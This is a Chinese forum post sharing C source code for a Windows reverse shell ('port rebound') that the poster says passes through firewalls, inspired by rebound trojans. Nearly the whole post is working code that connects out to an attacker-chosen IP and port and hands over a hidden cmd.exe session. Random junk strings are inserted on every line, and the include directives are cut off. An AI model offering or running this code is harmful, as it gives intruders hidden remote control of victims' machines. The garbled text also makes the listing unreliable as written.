社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5732阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SkiJ pMN  
gB]C&Q  
/* ============================== ==]Z \jk  
Rebound port in Windows NT wVgi+P  
By wind,2006/7 ?. zu2  
===============================*/ bK3B3r#$  
#include |}_gA  
#include H1` rM^,%A  
\#PP8  
#pragma comment(lib,"wsock32.lib") HUj+-  
[O^}rUqq  
void OutputShell(); 0TTIaa$  
SOCKET sClient; CE~r4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f%2%T'Q  
hzaLx8L  
void main(int argc,char **argv) 9;=q=O/  
{ U r^YG4(  
WSADATA stWsaData;  bt;lq!g  
int nRet; fd4;mc1T  
SOCKADDR_IN stSaiClient,stSaiServer; @&?a]>L  
`$J'UXtGc  
if(argc != 3) /^w"' '  
{ I+0c8T(:  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3PfiQ|/b  
return; <z^SZ~G  
} XjX 2[*l  
+x(YG(5\w  
WSAStartup(MAKEWORD(2,2),&stWsaData); aSRjFL^  
gf+o1\5t@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F?7u~b|@{  
Q"A_bdg5  
stSaiClient.sin_family = AF_INET; Ay 2b,q  
stSaiClient.sin_port = htons(0); uu}'i\Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !0`lu_ZN  
vx'l> @]k  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #`/bQ~s  
{ }A-{6Qe  
printf("Bind Socket Failed!\n"); f[x~)=  
return; s~L`53A  
} $( S*GF$S  
.+OB!'dDK^  
stSaiServer.sin_family = AF_INET; c8T/4hU MN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Tru c[A.2Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >GgE,h  
bn$)f6%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,ohmc\*J  
{ ^D>fis  
printf("Connect Error!"); ]*0(-@  
return; '?5S"??  
} +6 ho)YL  
OutputShell(); U<Vy>gIC  
} ^[#=L4  
L/~D<V  
void OutputShell() mIvnz{_d  
{ z^'n* h  
char szBuff[1024]; 7m\vRMK  
SECURITY_ATTRIBUTES stSecurityAttributes; YUCC*t  
OSVERSIONINFO stOsversionInfo; JRq3>P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >zQNHSi  
STARTUPINFO stStartupInfo; C ck#Y  
char *szShell; Y.7}  
PROCESS_INFORMATION stProcessInformation; n[|6khOL-  
unsigned long lBytesRead; Y,'%7u  
"rsSW 3_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n!ZMTcK8  
mB~~_]M N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^ESUMXb  
stSecurityAttributes.lpSecurityDescriptor = 0; `g--QR  
stSecurityAttributes.bInheritHandle = TRUE; R }1W  
. @@an;C  
$%Z3;:<Uf-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $%=G[/i'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); / $_M@>  
JRXRi*@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Apmw6cc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K U $`!h  
stStartupInfo.wShowWindow = SW_HIDE; SyAo, )j  
stStartupInfo.hStdInput = hReadPipe; E4=qh1d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n&$/Q$d&  
z?4=h Sy  
GetVersionEx(&stOsversionInfo); 4Ac}(N5D@  
)9B:Y;>)  
switch(stOsversionInfo.dwPlatformId) FNC[59   
{ 1eHe~p ,  
case 1: +Juh:1H  
szShell = "command.com"; 6|5H=*)DH  
break; `^x9(i/NE  
default: )&:L'N  
szShell = "cmd.exe"; Jld\8=  
break; BKay*!'PX  
} h/HH Kn  
Yk'm?p#~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ya.n'X14  
xz8G}Ku  
send(sClient,szMsg,77,0); Z5$fE7ba+  
while(1) {rDq_^  
{ JGis"e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P 6.!3%y  
if(lBytesRead) q*bt4,D&Es  
{ &qKig kLd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RU|X*3";T  
send(sClient,szBuff,lBytesRead,0); i'=2Y9S}  
} ,5{$+  
else 'C^;OjAg  
{ p?JQ[K7i  
lBytesRead=recv(sClient,szBuff,1024,0); &n>7Ir  
if(lBytesRead<=0) break;  L=]p_2+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rEM#D]k  
} at| \FOKj  
} t"|DWC*  
[1SMg$@<  
return; |cgui  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五